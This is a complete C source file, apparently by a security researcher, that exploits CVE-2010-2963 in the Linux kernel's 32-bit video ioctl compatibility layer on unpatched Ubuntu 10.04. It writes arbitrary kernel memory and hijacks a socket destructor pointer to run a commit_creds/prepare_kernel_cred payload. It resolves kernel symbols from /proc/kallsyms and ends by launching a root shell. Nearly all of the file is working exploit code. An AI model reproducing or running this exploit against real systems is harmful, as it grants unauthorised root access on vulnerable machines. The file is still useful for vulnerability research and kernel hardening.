/*
 * Stand-alone CVE-2010-2963 exploit, tuned for unpatched Ubuntu 10.04
 * Kees Cook <kees@ubuntu.com>
 *
 * Thanks to Dan Rosenberg for net target/trigger (with thanks to
 *  netstat authors for INET_DIAG parsing code).
 * Thanks to Brad Spengler for symbols parser and creds payload.
 * Greets to pipacs, redpig, nelhage, segoon, taviso, solardiz.
 *
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <linux/inet_diag.h>
#include <sys/utsname.h>
#include <string.h>
#include <sys/mman.h>
#include <errno.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <linux/videodev.h>
#include <syscall.h>

#define PORT 31337		/* Trigger socket, just listens briefly */
#define SOCK_OFFSET 584		/* offsetof(struct sock, sk_destruct) */
#define IOCTL_SYSCALL 54	/* 32bit __NR_ioctl */
#define DEVICE "/dev/video0"

unsigned int syscall32(unsigned int syscall, unsigned int arg1,
                       unsigned int arg2, unsigned int arg3)
{
	unsigned int rc;

	asm volatile(	"movl %1, %%ebx;\n"
			"movl %2, %%ecx;\n"
			"movl %3, %%edx;\n"
			"movl %4, %%eax;\n"
			"int $0x80;\n"
			"movl %%eax, %0;\n"
			/* output */
			: "=g"(rc)
			/* input */
			: "g"(arg1), "g"(arg2), "g"(arg3), "g"(syscall)
			/* clobbered registers */
             		: "%eax", "%ebx", "%ecx", "%edx"
			);

	return rc;
}

struct video_code32 {
        char            loadwhat[16];
        int             datasize;
        int             padding;
        uint64_t        data;
};

int kernel_write(uint64_t destination, void *source, int length)
{
	static struct video_code32 *vc;
	static struct video_tuner *tuner;
	int dev;
	unsigned int code;

	printf("[*] Overwriting kernel memory at %lx with %d bytes from %p\n", destination, length, source);

	if ( (dev=open(DEVICE, O_RDWR)) < 0) {
		perror(DEVICE);
		exit(1);
	}

	if (!vc) {
		vc = (struct video_code32*)mmap(NULL, sizeof(*vc),
				PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT,
				0, 0);
		if (vc == MAP_FAILED) {
			perror("mmap");
			exit(1);
		}
	}
	if (!tuner) {
		tuner = (struct video_tuner*)mmap(NULL, sizeof(*tuner),
				PROT_READ | PROT_WRITE,
				MAP_PRIVATE | MAP_ANONYMOUS | MAP_32BIT,
				0, 0);
		if (tuner == MAP_FAILED) {
			perror("mmap");
			exit(1);
		}
	}

	vc->datasize = length;
	vc->data = (uint64_t)(uintptr_t)source;

	memset(tuner, 0xBB, sizeof(*tuner));

	// manual union, since a real union won't do ptrs for 64bit
	uint64_t *ptr = (uint64_t*)(&(tuner->name[20]));
	*ptr = destination;

	// beat memory into the stack...
	code = 0x40347605; // VIDIOCSTUNER
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)tuner);

	/* VIDIOCSMICROCODE32, the misconstructed VIDIOCSMICROCODE */
	code = 0x4020761b;
	syscall32(IOCTL_SYSCALL, (unsigned int)dev, code, (unsigned int)(uintptr_t)vc);

	return 0;
}

/* Get the address of the sock struct for our socket */
unsigned long get_sock_addr(unsigned int port)
{
	FILE *f;
	char buf[1024];
	unsigned int testport, a;
	unsigned long addr, b;

	f = fopen("/proc/net/tcp", "r");

	if (f < 0) {
		printf("[*] Failed to open /proc/net/tcp\n");
		return 0;
	}

	while (fgets(buf, 1024, f)) {
		sscanf(buf, "%4d: %08X:%04X %08X:%04X %02X %08X:%08X "
			    "%02X:%08lX %08X %5d %8d %lu %d %p %lu %lu %u %u "
			    "%d\n",
			    &a, &a, &testport, &a, &a, &a, &a, &a, &a, &b,
			    &a, &a, &a, &b, &a, (void **)&addr, &b, &b, &a, &a,
			    &a);
		if (testport == port)
			goto out;
	}
	addr = 0;
out:
	fclose(f);
	return addr;
}

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

unsigned long get_kernel_sym(char *name)
{
	FILE *f;
	unsigned long addr;
	char dummy;
	char sname[512];
	struct utsname ver;
	int ret;
	int rep = 0;
	int oldstyle = 0;

	f = fopen("/proc/kallsyms", "r");
	if (f == NULL) {
		f = fopen("/proc/ksyms", "r");
		if (f == NULL)
			goto fallback;
		oldstyle = 1;
	}

repeat:
	ret = 0;
	while(ret != EOF) {
		if (!oldstyle)
			ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
		else {
			ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
			if (ret == 2) {
				char *p;
				if (strstr(sname, "_O/") || strstr(sname, "_S."))
					continue;
				p = strrchr(sname, '_');
				if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
					p = p - 4;
					while (p > (char *)sname && *(p - 1) == '_')
						p--;
					*p = '\0';
				}
			}
		}
		if (ret == 0) {
			fscanf(f, "%s\n", sname);
			continue;
		}
		if (!strcmp(name, sname)) {
			fprintf(stdout, "[*] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
			fclose(f);
			return addr;
		}
	}

	fclose(f);
	if (rep)
		return 0;
fallback:
	/* didn't find the symbol, let's retry with the System.map
	   dedicated to the pointlessness of Russell Coker's SELinux
	   test machine (why does he keep upgrading the kernel if
	   "all necessary security can be provided by SE Linux"?)
	*/
	uname(&ver);
	if (strncmp(ver.release, "2.6", 3))
		oldstyle = 1;
	sprintf(sname, "/boot/System.map-%s", ver.release);
	f = fopen(sname, "r");
	if (f == NULL)
		return 0;
	rep = 1;
	goto repeat;
}

int sock;
unsigned long choose_target()
{
	unsigned long target;
	struct sockaddr_in addr;

	printf("[*] Opening trigger socket...\n");
	sock = socket(AF_INET, SOCK_STREAM, 0);

	if (sock < 0) {
		printf("[*] Failed to open trigger socket.\n");
		exit(1);
	}

	memset(&addr, 0, sizeof(addr));
	addr.sin_family = AF_INET;
	addr.sin_port = htons(PORT);
	addr.sin_addr.s_addr = INADDR_ANY;

	if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) != 0) {
		printf("[*] Failed to bind trigger socket.\n");
		exit(1);
	}

	/* Our socket won't appear in /proc/net/tcp unless it's listening */
	if (listen(sock, 1)) {
		printf("[*] Failed to listen on trigger socket.\n");
		exit(1);
	}

	printf("[*] Getting trigger socket address from INET_DIAG...\n");
	target = get_sock_addr(PORT);

	if (!target) {
		printf("[*] Failed to get trigger socket address.\n");
		exit(1);
	}

	printf("[*] Trigger Socket address: %lx\n", target);
	target += SOCK_OFFSET;

	return target;
}

void trigger_target()
{
	printf("[*] Triggering payload...\n");
	close(sock);
}

unsigned long get_payload_addr(void)
{
	commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
	prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

	return (uintptr_t)getroot;
}

int main(int argc, char * argv[])
{
	unsigned long payload = get_payload_addr();
	unsigned long target = choose_target();

	kernel_write(target, (void*)&payload, sizeof(payload));

	trigger_target();

	if (getuid()) {
		printf("[*] Failed to get root.\n");
		return -1;
	}
	printf("[*] Got root!\n");
	execl("/bin/sh", "sh", NULL);

	perror("execl");
	return 1;
}
